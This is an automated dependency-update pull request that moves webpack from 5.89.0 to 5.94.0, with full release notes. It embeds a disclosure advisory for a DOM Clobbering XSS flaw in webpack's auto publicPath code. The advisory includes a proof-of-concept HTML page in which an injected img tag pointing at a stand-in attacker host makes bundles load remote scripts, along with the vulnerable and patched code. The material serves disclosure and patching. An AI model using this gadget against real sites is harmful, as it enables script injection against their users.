🚨 [security] Update webpack 5.89.0 → 5.94.0 (minor)

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🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

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Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ webpack (5.89.0 → 5.94.0) · Repo

Security Advisories 🚨

🚨 Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Hi, Webpack developer team!

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });

// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');
module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: "auto", // Or leave this field not set
},
target: 'web',
mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

Release Notes

5.94.0

Bug Fixes

• Added runtime condition for harmony reexport checked
• Handle properly data/http/https protocols in source maps
• Make bigint optimistic when browserslist not found
• Move @types/eslint-scope to dev deps
• Related in asset stats is now always an array when no related found
• Handle ASI for export declarations
• Mangle destruction incorrect with export named default properly
• Fixed unexpected asi generation with sequence expression
• Fixed a lot of types

New Features

• Added new external type "module-import"
• Support webpackIgnore for new URL() construction
• [CSS] @import pathinfo support

Security

• Fixed DOM clobbering in auto public path

5.93.0

Bug Fixes

• Generate correct relative path to runtime chunks
• Makes DefinePlugin quieter under default log level
• Fixed mangle destructuring default in namespace import
• Fixed consumption of eager shared modules for module federation
• Strip slash for pretty regexp
• Calculate correct contenthash for CSS generator options

New Features

• Added the binary generator option for asset modules to explicitly keep source maps produced by loaders
• Added the modern-module library value for tree shakable output
• Added the overrideStrict option to override strict or non-strict mode for javascript modules

5.92.1

Bug Fixes

• Doesn't crash with an error when the css experiment is enabled and contenthash is used

5.92.0

Bug Fixes

• Correct tidle range's comutation for module federation
• Consider runtime for pure expression dependency update hash
• Return value in the subtractRuntime function for runtime logic
• Fixed failed to resolve promise when eager import a dynamic cjs
• Avoid generation extra code for external modules when remapping is not required
• The css/global type now handles the exports name
• Avoid hashing for @keyframe and @property at-rules in css/global type
• Fixed mangle with destructuring for JSON modules
• The stats.hasWarnings() method now respects the ignoreWarnings option
• Fixed ArrayQueue iterator
• Correct behavior of __webpack_exports_info__.a.b.canMangle
• Changed to the correct plugin name for the CommonJsChunkFormatPlugin plugin
• Set the chunkLoading option to the import when environment is unknown and output is module
• Fixed when runtimeChunk has no exports when module chunkFormat used
• [CSS] Fixed parsing minimized CSS import
• [CSS] URLs in CSS files now have correct public path
• [CSS] The css module type should not allow parser to switch mode
• [Types] Improved context module types

New Features

• Added platform target properties to compiler
• Improved multi compiler cache location and validating it
• Support import attributes spec (with keyword)
• Support node: prefix for Node.js core modules in runtime code
• Support prefetch/preload for module chunk format
• Support "..." in the importsFields option for resolver
• Root module is less prone to be wrapped in IIFE
• Export InitFragment class for plugins
• Export compileBooleanMatcher util for plugins
• Export InputFileSystem and OutputFileSystem types
• [CSS] Support the esModule generator option for CSS modules
• [CSS] Support CSS when chunk format is module

5.91.0

Bug Fixes

• Deserializer for ignored modules doesn't crash
• Allow the unsafeCache option to be a proxy object
• Normalize the snapshot.unmanagedPaths option
• Fixed fs types
• Fixed resolve's plugins types
• Fixed wrongly calculate postOrderIndex
• Fixed watching types
• Output import attrbiutes/import assertions for external JS imports
• Throw an error when DllPlugin needs to generate multiple manifest files, but the path is the same
• [CSS] Output layer/supports/media for external CSS imports

New Features

• Allow to customize the stage of BannerPlugin
• [CSS] Support CSS exports convention
• [CSS] support CSS local ident name
• [CSS] Support __webpack_nonce__ for CSS chunks
• [CSS] Support fetchPriority for CSS chunks
• [CSS] Allow to use LZW to compress css head meta (enabled in the production mode by default)
• [CSS] Support prefetch/preload for CSS chunks

5.90.3

Bug Fixes

• don't mangle when destructuring a reexport
• types for Stats.toJson() and Stats.toString()
• many internal types
• [CSS] clean up export css local vars

Perf

• simplify and optimize chunk graph creation

5.90.2

Bug Fixes

• use Math.imul in fnv1a32 to avoid loss of precision, directly hash UTF16 values
• the setStatus() of the HMR module should not return an array, which may cause infinite recursion
• __webpack_exports_info__.xxx.canMangle shouldn't always same as default
• mangle export with destructuring
• use new runtime to reconsider skipped connections activeState
• make dynamic import optional in try/catch
• improve auto publicPath detection

Dependencies & Maintenance

• improve CI setup and include Node.js@21

5.90.1

Bug Fixes

• set unmanagedPaths in defaults
• correct preOrderIndex and postOrderIndex
• add fallback for MIME mismatch error in async wasm loading
• browsers versions of ECMA features

Performance

• optimize compareStringsNumeric
• optimize numberHash using 32-bit FNV1a for small ranges, 64-bit for larger
• reuse VM context across webpack magic comments

5.90.0

Bug Fixes

• Fixed inner graph for classes
• Optimized RemoveParentModulesPlugin via bigint arithmetic
• Fixed worklet detection in production mode
• Fixed an error for cyclic importModule
• Fixed types for Server and Dirent
• Added the fetchPriority to hmr runtime's ensureChunk function
• Don't warn about dynamic import for build dependencies
• External module generation respects the output.environment.arrowFunction option
• Fixed consumimng shared runtime module logic
• Fixed a runtime logic of multiple chunks
• Fixed destructing assignment of dynamic import json file
• Passing errors array for a module hash
• Added /*#__PURE__*/ to generated JSON.parse()
• Generated a library manifest after clean plugin
• Fixed non amd externals and amd library
• Fixed a bug in SideEffectsFlagPlugin with namespace re-exports
• Fixed an error message for condition or
• The strictModuleErrorHandling is now working
• Clean up child compilation chunk graph to avoid memory leak
• [CSS] - Fixed CSS import prefer relative resolution
• [CSS] - Fixed CSS runtime chunk loading error message

New Features

• Allow to set false for dev server in webpack.config.js
• Added a warning for async external when not supported
• Added a warning for async module when not supported
• Added the node-module option for the node.__filename/__dirname and enable it by default for ESM target
• Added the snapshot.unmanagedPaths option
• Exposed the MultiCompilerOptions type
• [CSS] - Added CSS parser options to enable/disable named exports
• [CSS] - Moved CSS the exportsOnly option to CSS generator options

Dependencies & Maintenance

• use node.js LTS version for lint
• bump actions/cache from 3 to 4
• bump prettier from 3.2.1 to 3.2.3
• bump assemblyscript
• bump actions/checkout from 3 to 4

Full Changelog: v5.89.0...v5.90.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

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[socket-security[bot]]

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tAck